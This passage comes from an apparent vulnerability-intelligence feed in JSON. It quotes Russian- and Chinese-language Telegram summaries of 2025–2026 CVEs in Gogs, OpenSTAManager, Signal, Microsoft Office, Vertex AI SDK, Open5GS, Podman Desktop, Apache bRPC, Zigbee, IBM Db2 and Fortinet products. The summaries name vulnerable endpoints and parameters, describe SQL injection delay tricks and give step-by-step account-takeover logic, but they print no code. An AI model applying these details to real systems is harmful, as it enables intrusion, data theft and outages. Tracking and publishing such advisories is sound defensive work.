\u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u27a1\ufe0f Gogs (CVE-2025-64175, CVSS 7.7) \u2014 self-hosted Git-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 Gogs (\u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 2FA) \u0441\u043b\u043e\u043c\u0430\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 recovery-\u043a\u043e\u0434\u0430 \u0432 UseRecoveryCode. \u041a\u043e\u0434 \u0438\u0449\u0435\u0442\u0441\u044f \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e \u043f\u043e \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443. \u0417\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0436\u0435\u0440\u0442\u0432\u044b, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 recovery-\u043a\u043e\u0434, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 2FA \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0447\u0443\u0436\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443. PoC \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u0435\u043d: \u0441\u043e\u0437\u0434\u0430\u0435\u0448\u044c \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u2192 \u0431\u0435\u0440\u0435\u0448\u044c \u043a\u043e\u0434 \u2192 \u043b\u043e\u0433\u0438\u043d\u0438\u0448\u044c\u0441\u044f \u043f\u043e\u0434 \u0436\u0435\u0440\u0442\u0432\u043e\u0439.\n\n\u27a1\ufe0f OpenSTAManager (CVE-2026-24417, CVSS 8.7) \u2014 time-based blind SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0438\u0441\u043a\u0435 /ajax_search.php, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 term GET. \u0412\u0432\u043e\u0434 \u0432 LIKE-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043d\u0435 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e 10+ \u043c\u043e\u0434\u0443\u043b\u044f\u043c (\u0410\u0440\u0442\u0438\u043a\u0443\u043b\u044b, \u0417\u0430\u043a\u0430\u0437\u044b, \u0424\u0430\u043a\u0442\u0443\u0440\u044b, \u041a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u044b \u0438 \u0434\u0440.). \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 SLEEP() \u0441 \u0430\u043c\u043f\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 (\u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044f\u043c \u2014 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u00d785), \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f DoS \u0438 \u0443\u0442\u0435\u0447\u043a\u0438 \u0445\u044d\u0448\u0435\u0439 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0415\u0441\u0442\u044c PoC.\n\n\u27a1\ufe0f Signal (CVE-2026-23515, CVSS 9.9) \u2014 OS command injection \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 navigation.datetime \u0432 WebSocket delta-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445. \u0412\u0432\u043e\u0434 \u0438\u043d\u0442\u0435\u0440\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 sh -c \"command\" \u0431\u0435\u0437 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0415\u0441\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u2014 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u0433\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u041f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044e \u0434\u043e root \u043f\u0440\u0438 \u043f\u043b\u043e\u0445\u043e\u0439 sudo-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. \u0415\u0441\u0442\u044c PoC.\n\n\u27a1\ufe0f Microsoft Office (CVE-2026-21509, CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 OLE-\u0437\u0430\u0449\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 reliance on untrusted inputs. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043e\u0437\u0434\u0430\u0435\u0442 weaponized RTF/Word-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0447\u0435\u0440\u0435\u0437 WebDAV + COM hijacking \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 malware. \u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE. \u0410\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f APT28 \u0432 targeted-\u0430\u0442\u0430\u043a\u0430\u0445. \u0415\u0441\u0442\u044c educational PoC \u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0441\u044d\u043c\u043f\u043b\u043e\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-02-09T10:31:54.000000Z"}, {"uuid": "7bbb9f46-d088-4f4e-8b19-d995a634287f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2472", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/76537", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2472-Vertex-AI-SDK-Google-Cloud\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a megafart1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-22 08:00:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExpose and detail an unauthenticated stored XSS vulnerability in the Google Cloud Vertex AI Python SDK affecting versions 1.98.0 to 1.130.9.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-22T09:00:04.000000Z"}, {"uuid": "d0bdca01-b5d0-4881-a79b-91d17ae01144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24835", "type": "published-proof-of-concept", "source": "https://t.me/poxek/5867", "content": "\u041b\u043e\u0432\u0438\u0442\u0435 \u0432\u043a\u0443\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438\n#CVE #RCE #SiliconLabsZigbee #IBM_Db2 #Open5GS #Podman #Apache\n\n\u27a1\ufe0f Open5GS (CVE-2026-1586, CVSS 5.5) \u2014 DoS \u0432 Open5GS, \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 5G Core Network. \u0411\u0430\u0433 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 ogs_gtp2_f_teid_to_ip \u0444\u0430\u0439\u043b\u0430 /sgwc/s11-handler.c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 SGWC \u0438 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0439 GTPv2 F-TEID \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 S11. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 GTP-\u043f\u0430\u043a\u0435\u0442 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 bearer modification \u0438\u043b\u0438 context creation, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043a\u0440\u0430\u0448\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 SGWC \u0438 DoS \u0432\u0441\u0435\u0433\u043e 5G-\u044f\u0434\u0440\u0430. \u0415\u0441\u0442\u044c PoC.\n\n\u27a1\ufe0f Podman Desktop (CVE-2026-24835, CVSS 8.8) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 Podman Desktop, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044e \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c permission checks. \u0424\u0443\u043d\u043a\u0446\u0438\u044f isAccessAllowed() \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 true, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u043e \u0432\u0441\u0435\u043c authentication sessions \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0438\u043c\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0442\u043e\u043a\u0435\u043d\u044b \u0438 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432 \u0441\u0440\u0435\u0434\u0435 Podman Desktop. \u0415\u0441\u0442\u044c PoC.\n\n\u27a1\ufe0f Apache bRPC (CVE-2025-60021, CVSS 9.8) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c heap-\u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. HTTP-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 /pprof/heap?extra_options= \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 extra_options, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u043f\u0440\u043e\u0444\u0430\u0439\u043b\u0435\u0440\u0430. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0430.  \u0415\u0441\u0442\u044c PoC.\n\n\u27a1\ufe0f Silicon Labs Zigbee (CVE-2025-7964, CVSS 9.2) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 802.15.4 MAC Data Request \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440\u043e\u043c \u0441\u0435\u0442\u0438. \u041f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e MAC-\u0444\u0440\u0435\u0439\u043c\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 network leave \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440 \u0437\u0430\u0432\u0438\u0441\u0430\u0435\u0442 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0442\u0438 \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a DoS \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u27a1\ufe0f IBM Db2 for Windows (CVE-2025-36384, CVSS 8.4) \u2014 unquoted search path \u0432 IBM Db2 for Windows. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432, \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0432 \u043d\u0435\u043a\u0430\u0432\u044b\u0447\u0435\u043d\u043d\u043e\u0439 search path, \u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0435\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 Db2. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0445\u043e\u0441\u0442\u043e\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u041e\u0421, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0421\u0423\u0411\u0414 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u0430\u0432 \u041e\u0421.\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-02-02T06:24:24.000000Z"}, {"uuid": "e2b182f5-6270-4ae5-9369-c41c5d7c369a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "https://t.me/true_secator/7895", "content": "Fortinet \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 FortiClientEMS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-21643\u00a0\u0438 \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 CVSS 9,1 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445. \u041e\u043d\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 FortiClientEMS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0413\u0432\u0435\u043d\u0434\u0430\u043b\u0443 \u0413\u0435\u043d\u044c\u043e \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Fortinet. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 FortiClientEMS 7.4.4 (\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.5 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435), FortiClientEMS 7.2 \u0438 FortiClientEMS 8.0 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u043a\u0430\u043a \u043d\u0435\u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Fortinet \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 CVE-2026-24858 \u0432 FortiOS, FortiManager, FortiAnalyzer, FortiProxy, FortiWeb, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e FortiCloud \u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u0432\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 FortiCloud 